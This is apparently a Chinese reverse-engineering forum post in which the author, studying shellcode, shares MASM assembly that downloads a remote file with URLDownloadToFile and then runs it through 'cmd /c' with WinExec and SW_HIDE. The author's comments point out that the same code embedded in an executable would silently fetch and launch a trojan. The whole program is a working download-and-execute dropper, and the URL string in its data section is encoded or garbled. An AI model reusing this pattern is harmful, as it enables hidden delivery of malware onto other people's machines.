;最近看shellcode相关的东西,里面很多地方调用了urlDownloadtofile 函数 它是urlmon 导出的一个函数
;自己也写了个win32asm来调用一下这个函数,去下载biadu的logo文件,然后用winExec函数去执行.大部分都
;api的应用没什么技巧.不过里面有一个小知识点就是 cmd /c 只有有了这个参数cmd才能顺利执行情况程序,
;这东西要是镶嵌到Exe中而且下载的是个小木马,winExec 的最右边参数是SW_HIDE还是能有点邪恶啊~
;api我就不多解释了 查查还是很容易的~
.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
include URLMON.inc
includelib URLMON.LIB

.data
preserve  db 'd:\logo.gif',0
resource  db '587K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3K9h3#2Y4i4K6u0r3L8r3!0Y4L8#2)9J5k6h3N6A6k6W2)9J5y4#2)9J5b7K6l9`.
szText    db '下载成功',0
szCaption db '下载',0

cmd   db 'c:\windows\system32\cmd.exe /c d:\logo.gif',0
.code

start:
invoke URLDownloadToFile,NULL,offset resource,offset preserve,0,NULL
.if eax ==  S_OK
invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK
.endif

push SW_HIDE
push offset cmd
call WinExec

invoke ExitProcess,NULL
end start

[培训]科锐逆向工程师培训第53期2025年7月8日开班！